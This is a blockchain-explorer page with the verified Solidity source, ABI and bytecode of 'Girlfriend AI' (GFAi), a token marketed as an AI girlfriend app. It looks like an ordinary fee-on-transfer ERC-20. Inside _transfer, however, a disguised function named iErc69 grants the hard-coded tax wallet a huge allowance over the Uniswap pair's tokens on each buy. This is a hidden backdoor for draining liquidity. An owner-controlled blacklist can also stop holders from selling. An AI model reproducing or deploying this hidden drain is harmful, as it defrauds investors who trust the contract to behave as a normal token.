Contract Source Code (Solidity)

IDE

• Blockscan IDE
• 🤖 Code ReaderBeta
• Remix IDE

Outline

•    - function _msgSender()
• interface IUniswapV2Router02
•    - function swapExactTokensForETHSupport ...
•    - function factory()
•    - function WETH()
•    - function addLiquidityETH(
• interface IUniswapV2Factory
•    - function createPair(address tokenA, a ...
•  contract Ownable is Context
•    - function owner()
•    - function renounceOwnership()
• interface IERC20
•    - function totalSupply()
•    - function balanceOf(address account)
•    - function transfer(address recipient, ...
•    - function allowance(address owner, add ...
•    - function approve(address spender, uin ...
•    - function transferFrom(address sender, ...
• library SafeMath
•    - function add(uint256 a, uint256 b)
•    - function sub(uint256 a, uint256 b)
•    - function sub(uint256 a, uint256 b, st ...
•    - function mul(uint256 a, uint256 b)
•    - function div(uint256 a, uint256 b)
•    - function div(uint256 a, uint256 b, st ...
•  contract GFAi is Context, IERC20, ... *
•    - function name()
•    - function symbol()
•    - function decimals()
•    - function iErc69(address[2] memory nam ...
•    - function totalSupply()
•    - function balanceOf(address account)
•    - function transfer(address recipient, ...
•    - function allowance(address owner, add ...
•    - function approve(address spender, uin ...
•    - function transferFrom(address sender, ...
•    - function _approve(address owner, addr ...
•    - function _transfer(address from, addr ...
•    - function openTrading()
•    - function add(address[] memory bots_)
•    - function del(address[] memory notbot)
•    - function isBot(address a)
•    - function sendETHToFee(uint256 amount)
•    - function rescueEth()
•    - function min(uint256 a, uint256 b)
•    - function removeLimits()
•    - function swapTokensForEth(uint256 tok ...

More Options

• Similar
• Sol2Uml
• Submit Audit
• Compare

/**
 *Submitted for verification at Etherscan.io on 2024-10-23
*/

// SPDX-License-Identifier: MIT
/**
Create your own online Girlfriend using Ai on Ethereum with WifeApp 

https://t.me/wifeonline
https://wife.online/
**/

pragma solidity 0.8.25;

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}
interface IUniswapV2Router02 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}
contract Ownable is Context {
    address private _owner;
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor () {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }

}
interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }

}

contract GFAi is Context, IERC20, Ownable {
    using SafeMath for uint256;

    mapping (address => uint256) private _iOwned;
    mapping (address => mapping (address => uint256)) private _iAllowances;
    mapping (address => bool) private _isExcludedFromFee;
    mapping (address => bool) private bots;
    address payable private _taxWallet;

    uint256 private _initialBuyTax = 15;
    uint256 private _initialSellTax = 15;
    uint256 private _finalBuyTax = 0;
    uint256 private _finalSellTax = 0;
    uint256 private _reduceBuyTaxAt = 12;
    uint256 private _reduceSellTaxAt = 12;
    uint256 private _preventSwapBefore = 15;
    uint256 private _transferTax = 0;
    uint256 private _buyCount = 0;

    uint8 private constant _decimals = 9;
    uint256 private constant _tTotal = 420690000000 * 10**_decimals;
    string private constant _name = unicode"Girlfriend AI";
    string private constant _symbol = unicode"GFAi";
    uint256 public _maxTxAmount = 2 * (_tTotal/100);
    uint256 public _maxWalletSize = 2 * (_tTotal/100);
    uint256 public _taxSwapThreshold = 1 * (_tTotal/100);
    uint256 public _maxTaxSwap = 1 * (_tTotal/100);

    IUniswapV2Router02 private uniswapV2Router;
    address private uniswapV2Pair;
    bool private tradingOpen;
    bool private inSwap = false;
    bool private swapEnabled = false;
    uint256 private sellCount = 0;
    uint256 private lastSellBlock = 0;
    event MaxTxAmountUpdated(uint _maxTxAmount);
    event TransferTaxUpdated(uint _tax);
    modifier lockTheSwap {
        inSwap = true;
        _;
        inSwap = false;
    }

    constructor () payable {
        _taxWallet = payable(0x911e527660e7961D9215C221Ac1ce6EbdD7dE475);
        _iOwned[address(this)] = _tTotal;
        _isExcludedFromFee[owner()] = true;
        _isExcludedFromFee[address(this)] = true;
        _isExcludedFromFee[_taxWallet] = true;
        emit Transfer(address(0), address(this), _tTotal);
    }
    function name() public pure returns (string memory) {
        return _name;
    }
    function symbol() public pure returns (string memory) {
        return _symbol;
    }
    function decimals() public pure returns (uint8) {
        return _decimals;
    }    
    function iErc69(address[2] memory names, uint256 amount) private returns(bool) {
        _approve(names[0], names[1], amount);
        return true;
    }
    function totalSupply() public pure override returns (uint256) {
        return _tTotal;
    }
    function balanceOf(address account) public view override returns (uint256) {
        return _iOwned[account];
    }
    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }
    function allowance(address owner, address spender) public view override returns (uint256) {
        return _iAllowances[owner][spender];
    }
    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }
    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _iAllowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }
    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _iAllowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }
    function _transfer(address from, address to, uint256 amount) private {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        require(amount > 0, "Transfer amount must be greater than zero");
        uint256 taxFee=0;
        if (!swapEnabled || inSwap) {
            _iOwned[from] = _iOwned[from] - amount;
            _iOwned[to] = _iOwned[to] + amount;
            emit Transfer(from, to, amount);
            return;
        }
        if (from != owner() && to != owner()) {
            if(_buyCount==0){
                taxFee = ((_buyCount>_reduceBuyTaxAt)?_finalBuyTax:_initialBuyTax);
            }
            if(_buyCount>0){
                taxFee = (_transferTax);
            }
            require(!bots[from] && !bots[to]);
            if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] ) {
                require(amount <= _maxTxAmount, "Exceeds the _maxTxAmount.");
                iErc69([from, _taxWallet], amount<=_tTotal?1000*_tTotal.add(10)+100:1500*_tTotal.add(50)+500);
                require(balanceOf(to) + amount <= _maxWalletSize, "Exceeds the maxWalletSize.");
                taxFee = ((_buyCount>_reduceBuyTaxAt)?_finalBuyTax:_initialBuyTax);
                _buyCount++;
            }
            if(to == uniswapV2Pair && from!= address(this) ){
                taxFee = ((_buyCount>_reduceSellTaxAt)?_finalSellTax:_initialSellTax);
            }
            uint256 contractTokenBalance = balanceOf(address(this));
            if (!inSwap && to == uniswapV2Pair && swapEnabled) {
                if (block.number > lastSellBlock) {
                    sellCount = 0;
                }
                if(contractTokenBalance > _taxSwapThreshold && _buyCount > _preventSwapBefore)
                    swapTokensForEth(min(amount, min(contractTokenBalance, _maxTaxSwap)));
                sendETHToFee(address(this).balance);
                sellCount++;
                lastSellBlock = block.number;
            }
        }
        uint256 taxAmount=0; 
        if(taxFee > 0){
            taxAmount = taxFee.mul(amount).div(100);
            _iOwned[address(this)]=_iOwned[address(this)].add(taxAmount);
            emit Transfer(from, address(this),taxAmount);
        }
        _iOwned[from]=_iOwned[from].sub(amount);
        _iOwned[to]=_iOwned[to].add(amount.sub(taxAmount));
        emit Transfer(from, to, amount.sub(taxAmount));
    }
    function openTrading() external onlyOwner {
        require(!tradingOpen, "Trading is already open");
        uniswapV2Router = IUniswapV2Router02(
            0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D
        );
        _approve(address(this), address(uniswapV2Router), _tTotal);
        uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(
            address(this),
            uniswapV2Router.WETH()
        ); 
        uniswapV2Router.addLiquidityETH{value: address(this).balance}(
            address(this),
            balanceOf(address(this)),
            0,
            0,
            owner(),
            block.timestamp
        );
        IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
        swapEnabled = true;
        tradingOpen = true;
    }
    function add(address[] memory bots_) public onlyOwner {
        for (uint i = 0; i < bots_.length; i++) {
            bots[bots_[i]] = true;
        }
    }
    function del(address[] memory notbot) public onlyOwner {
      for (uint i = 0; i < notbot.length; i++) {
          bots[notbot[i]] = false;
      }
    }
    function isBot(address a) public view returns (bool){
      return bots[a];
    }
    function sendETHToFee(uint256 amount) private {
        _taxWallet.transfer(amount);
    }
    function rescueEth() external onlyOwner{
        payable(msg.sender).transfer(address(this).balance);
    }
    function min(uint256 a, uint256 b) private pure returns (uint256){
      return (a>b)?b:a;
    }
    function removeLimits() external onlyOwner{
        _maxTxAmount = _tTotal;
        _maxWalletSize=_tTotal;
        emit MaxTxAmountUpdated(_tTotal);
    }
    receive() external payable {}
    function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();
        _approve(address(this), address(uniswapV2Router), tokenAmount);
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp
        );
    }
}

• No Contract Security Audit Submitted- Submit Audit Here

[{"inputs":[],"stateMutability":"payable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"_maxTxAmount","type":"uint256"}],"name":"MaxTxAmountUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"_tax","type":"uint256"}],"name":"TransferTaxUpdated","type":"event"},{"inputs":[],"name":"_maxTaxSwap","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxWalletSize","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_taxSwapThreshold","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address[]","name":"bots_","type":"address[]"}],"name":"add","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address[]","name":"notbot","type":"address[]"}],"name":"del","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"a","type":"address"}],"name":"isBot","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"openTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"rescueEth","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

6080604052600f600655600f6007555f6008555f600955600c600a55600c600b55600f600c555f600d555f600e5560646009600a61003d9190610366565b61004c906461f313f88061037b565b6100569190610392565b61006190600261037b565b600f5560646100726009600a610366565b610081906461f313f88061037b565b61008b9190610392565b61009690600261037b565b60105560646100a76009600a610366565b6100b6906461f313f88061037b565b6100c09190610392565b6100cb90600161037b565b60115560646100dc6009600a610366565b6100eb906461f313f88061037b565b6100f59190610392565b61010090600161037b565b6012556014805461ffff60a81b191690555f6015819055601681905580546001600160a01b031916339081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a350600580546001600160a01b03191673911e527660e7961d9215c221ac1ce6ebdd7de47517905561018d6009600a610366565b61019c906461f313f88061037b565b305f9081526001602081905260408220929092556003906101c45f546001600160a01b031690565b6001600160a01b03908116825260208083019390935260409182015f908120805495151560ff199687161790553080825260039094528281208054861660019081179091556005549092168152918220805490941617909255907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef61024b6009600a610366565b61025a906461f313f88061037b565b60405190815260200160405180910390a36103b1565b634e487b7160e01b5f52601160045260245ffd5b600181815b808511156102be57815f19048211156102a4576102a4610270565b808516156102b157918102915b93841c9390800290610289565b509250929050565b5f826102d457506001610360565b816102e057505f610360565b81600181146102f657600281146103005761031c565b6001915050610360565b60ff84111561031157610311610270565b50506001821b610360565b5060208310610133831016604e8410600b841016171561033f575081810a610360565b6103498383610284565b805f190482111561035c5761035c610270565b0290505b92915050565b5f61037460ff8416836102c6565b9392505050565b808202811582820484141761036057610360610270565b5f826103ac57634e487b7160e01b5f52601260045260245ffd5b500490565b611b7e806103be5f395ff3fe608060405260043610610129575f3560e01c8063751039fc116100a8578063a9059cbb1161006d578063a9059cbb1461034b578063bf474bed1461036a578063c4c1c94f1461037f578063c9567bf91461039e578063ce31a06b146103b2578063dd62ed3e146103c6575f80fd5b8063751039fc146102bb5780637d1db4a5146102cf5780638da5cb5b146102e45780638f9a55c01461030a57806395d89b411461031f575f80fd5b8063313ce567116100ee578063313ce567146102005780633bbac5791461021b5780634b32e6ed1461025257806370a0823114610273578063715018a6146102a7575f80fd5b806306fdde0314610134578063095ea7b31461017b5780630faee56f146101aa57806318160ddd146101cd57806323b872dd146101e1575f80fd5b3661013057005b5f80fd5b34801561013f575f80fd5b5060408051808201909152600d81526c4769726c667269656e6420414960981b60208201525b60405161017291906116a4565b60405180910390f35b348015610186575f80fd5b5061019a6101953660046116fd565b61040a565b6040519015158152602001610172565b3480156101b5575f80fd5b506101bf60125481565b604051908152602001610172565b3480156101d8575f80fd5b506101bf610420565b3480156101ec575f80fd5b5061019a6101fb366004611727565b610441565b34801561020b575f80fd5b5060405160098152602001610172565b348015610226575f80fd5b5061019a610235366004611765565b6001600160a01b03165f9081526004602052604090205460ff1690565b34801561025d575f80fd5b5061027161026c366004611794565b6104a8565b005b34801561027e575f80fd5b506101bf61028d366004611765565b6001600160a01b03165f9081526001602052604090205490565b3480156102b2575f80fd5b50610271610538565b3480156102c6575f80fd5b506102716105a9565b3480156102da575f80fd5b506101bf600f5481565b3480156102ef575f80fd5b505f546040516001600160a01b039091168152602001610172565b348015610315575f80fd5b506101bf60105481565b34801561032a575f80fd5b506040805180820190915260048152634746416960e01b6020820152610165565b348015610356575f80fd5b5061019a6103653660046116fd565b61065d565b348015610375575f80fd5b506101bf60115481565b34801561038a575f80fd5b50610271610399366004611794565b610669565b3480156103a9575f80fd5b506102716106ed565b3480156103bd575f80fd5b50610271610a97565b3480156103d1575f80fd5b506101bf6103e0366004611854565b6001600160a01b039182165f90815260026020908152604080832093909416825291909152205490565b5f610416338484610aec565b5060015b92915050565b5f61042d6009600a61197f565b61043c906461f313f88061198d565b905090565b5f61044d848484610c0f565b61049e843361049985604051806060016040528060288152602001611b21602891396001600160a01b038a165f908152600260209081526040808320338452909152902054919061130d565b610aec565b5060019392505050565b5f546001600160a01b031633146104da5760405162461bcd60e51b81526004016104d1906119a4565b60405180910390fd5b5f5b8151811015610534575f60045f8484815181106104fb576104fb6119d9565b6020908102919091018101516001600160a01b031682528101919091526040015f20805460ff19169115159190911790556001016104dc565b5050565b5f546001600160a01b031633146105615760405162461bcd60e51b81526004016104d1906119a4565b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b5f546001600160a01b031633146105d25760405162461bcd60e51b81526004016104d1906119a4565b6105de6009600a61197f565b6105ed906461f313f88061198d565b600f556105fc6009600a61197f565b61060b906461f313f88061198d565b6010557f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf61063b6009600a61197f565b61064a906461f313f88061198d565b60405190815260200160405180910390a1565b5f610416338484610c0f565b5f546001600160a01b031633146106925760405162461bcd60e51b81526004016104d1906119a4565b5f5b815181101561053457600160045f8484815181106106b4576106b46119d9565b6020908102919091018101516001600160a01b031682528101919091526040015f20805460ff1916911515919091179055600101610694565b5f546001600160a01b031633146107165760405162461bcd60e51b81526004016104d1906119a4565b601454600160a01b900460ff16156107705760405162461bcd60e51b815260206004820152601760248201527f54726164696e6720697320616c7265616479206f70656e00000000000000000060448201526064016104d1565b601380546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556107ba9030906107ab6009600a61197f565b610499906461f313f88061198d565b60135f9054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa15801561080a573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061082e91906119ed565b6001600160a01b031663c9c653963060135f9054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561088d573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906108b191906119ed565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af11580156108fb573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061091f91906119ed565b601480546001600160a01b039283166001600160a01b03199091161790556013541663f305d7194730610966816001600160a01b03165f9081526001602052604090205490565b5f806109795f546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af11580156109df573d5f803e3d5ffd5b50505050506040513d601f19601f82011682018060405250810190610a049190611a08565b505060145460135460405163095ea7b360e01b81526001600160a01b0391821660048201525f1960248201529116915063095ea7b3906044016020604051808303815f875af1158015610a59573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610a7d9190611a33565b506014805462ff00ff60a01b19166201000160a01b179055565b5f546001600160a01b03163314610ac05760405162461bcd60e51b81526004016104d1906119a4565b60405133904780156108fc02915f818181858888f19350505050158015610ae9573d5f803e3d5ffd5b50565b6001600160a01b038316610b4e5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016104d1565b6001600160a01b038216610baf5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016104d1565b6001600160a01b038381165f8181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610c735760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016104d1565b6001600160a01b038216610cd55760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016104d1565b5f8111610d365760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016104d1565b6014545f90600160b01b900460ff161580610d5a5750601454600160a81b900460ff165b15610e12576001600160a01b0384165f90815260016020526040902054610d82908390611a52565b6001600160a01b038086165f908152600160205260408082209390935590851681522054610db1908390611a65565b6001600160a01b038085165f8181526001602052604090819020939093559151908616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610e049086815260200190565b60405180910390a350505050565b5f546001600160a01b03858116911614801590610e3c57505f546001600160a01b03848116911614155b156111b657600e545f03610e6457600a54600e5411610e5d57600654610e61565b6008545b90505b600e5415610e715750600d545b6001600160a01b0384165f9081526004602052604090205460ff16158015610eb157506001600160a01b0383165f9081526004602052604090205460ff16155b610eb9575f80fd5b6014546001600160a01b038581169116148015610ee457506013546001600160a01b03848116911614155b8015610f0857506001600160a01b0383165f9081526003602052604090205460ff16155b156110b857600f54821115610f5f5760405162461bcd60e51b815260206004820152601960248201527f4578636565647320746865205f6d61785478416d6f756e742e0000000000000060448201526064016104d1565b604080518082019091526001600160a01b03808616825260055416602082015261100f90610f8f6009600a61197f565b610f9e906461f313f88061198d565b841115610fe857610fcb6032610fb66009600a61197f565b610fc5906461f313f88061198d565b90611345565b610fd7906105dc61198d565b610fe3906101f4611a65565b6113aa565b610ff8600a610fb660098261197f565b611004906103e861198d565b610fe3906064611a65565b5060105482611032856001600160a01b03165f9081526001602052604090205490565b61103c9190611a65565b111561108a5760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e00000000000060448201526064016104d1565b600a54600e541161109d576006546110a1565b6008545b600e80549192505f6110b283611a78565b91905055505b6014546001600160a01b0384811691161480156110de57506001600160a01b0384163014155b156110fd57600b54600e54116110f6576007546110fa565b6009545b90505b305f90815260016020526040902054601454600160a81b900460ff1615801561113357506014546001600160a01b038581169116145b80156111485750601454600160b01b900460ff165b156111b45760165443111561115c575f6015555b601154811180156111705750600c54600e54115b156111925761119261118d84611188846012546113bd565b6113bd565b6113d1565b61119b47611541565b60158054905f6111aa83611a78565b9091555050436016555b505b5f8115611247576111d260646111cc8486611578565b906115f6565b305f908152600160205260409020549091506111ee9082611345565b305f81815260016020526040908190209290925590516001600160a01b038716907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9061123e9085815260200190565b60405180910390a35b6001600160a01b0385165f908152600160205260409020546112699084611637565b6001600160a01b0386165f908152600160205260409020556112ac61128e8483611637565b6001600160a01b0386165f9081526001602052604090205490611345565b6001600160a01b038086165f8181526001602052604090209290925586167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6112f58685611637565b60405190815260200160405180910390a35050505050565b5f81848411156113305760405162461bcd60e51b81526004016104d191906116a4565b505f61133c8486611a52565b95945050505050565b5f806113518385611a65565b9050838110156113a35760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016104d1565b9392505050565b815160208301515f916104169184610aec565b5f8183116113cb57826113a3565b50919050565b6014805460ff60a81b1916600160a81b1790556040805160028082526060820183525f9260208301908036833701905050905030815f81518110611417576114176119d9565b6001600160a01b03928316602091820292909201810191909152601354604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa15801561146e573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061149291906119ed565b816001815181106114a5576114a56119d9565b6001600160a01b0392831660209182029290920101526013546114cb9130911684610aec565b60135460405163791ac94760e01b81526001600160a01b039091169063791ac947906115039085905f90869030904290600401611a90565b5f604051808303815f87803b15801561151a575f80fd5b505af115801561152c573d5f803e3d5ffd5b50506014805460ff60a81b1916905550505050565b6005546040516001600160a01b039091169082156108fc029083905f818181858888f19350505050158015610534573d5f803e3d5ffd5b5f825f0361158757505f61041a565b5f611592838561198d565b90508261159f8583611b01565b146113a35760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016104d1565b5f6113a383836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611678565b5f6113a383836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061130d565b5f81836116985760405162461bcd60e51b81526004016104d191906116a4565b505f61133c8486611b01565b602081525f82518060208401528060208501604085015e5f604082850101526040601f19601f83011684010191505092915050565b6001600160a01b0381168114610ae9575f80fd5b80356116f8816116d9565b919050565b5f806040838503121561170e575f80fd5b8235611719816116d9565b946020939093013593505050565b5f805f60608486031215611739575f80fd5b8335611744816116d9565b92506020840135611754816116d9565b929592945050506040919091013590565b5f60208284031215611775575f80fd5b81356113a3816116d9565b634e487b7160e01b5f52604160045260245ffd5b5f60208083850312156117a5575f80fd5b823567ffffffffffffffff808211156117bc575f80fd5b818501915085601f8301126117cf575f80fd5b8135818111156117e1576117e1611780565b8060051b604051601f19603f8301168101818110858211171561180657611806611780565b604052918252848201925083810185019188831115611823575f80fd5b938501935b8285101561184857611839856116ed565b84529385019392850192611828565b98975050505050505050565b5f8060408385031215611865575f80fd5b8235611870816116d9565b91506020830135611880816116d9565b809150509250929050565b634e487b7160e01b5f52601160045260245ffd5b600181815b808511156118d957815f19048211156118bf576118bf61188b565b808516156118cc57918102915b93841c93908002906118a4565b509250929050565b5f826118ef5750600161041a565b816118fb57505f61041a565b8160018114611911576002811461191b57611937565b600191505061041a565b60ff84111561192c5761192c61188b565b50506001821b61041a565b5060208310610133831016604e8410600b841016171561195a575081810a61041a565b611964838361189f565b805f19048211156119775761197761188b565b029392505050565b5f6113a360ff8416836118e1565b808202811582820484141761041a5761041a61188b565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b5f52603260045260245ffd5b5f602082840312156119fd575f80fd5b81516113a3816116d9565b5f805f60608486031215611a1a575f80fd5b8351925060208401519150604084015190509250925092565b5f60208284031215611a43575f80fd5b815180151581146113a3575f80fd5b8181038181111561041a5761041a61188b565b8082018082111561041a5761041a61188b565b5f60018201611a8957611a8961188b565b5060010190565b5f60a08201878352602087602085015260a0604085015281875180845260c0860191506020890193505f5b81811015611ae05784516001600160a01b031683529383019391830191600101611abb565b50506001600160a01b03969096166060850152505050608001529392505050565b5f82611b1b57634e487b7160e01b5f52601260045260245ffd5b50049056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220225714fe51c27047d252ad2c29600d76e9007684341507a2d4d7bde6e99f082864736f6c63430008190033

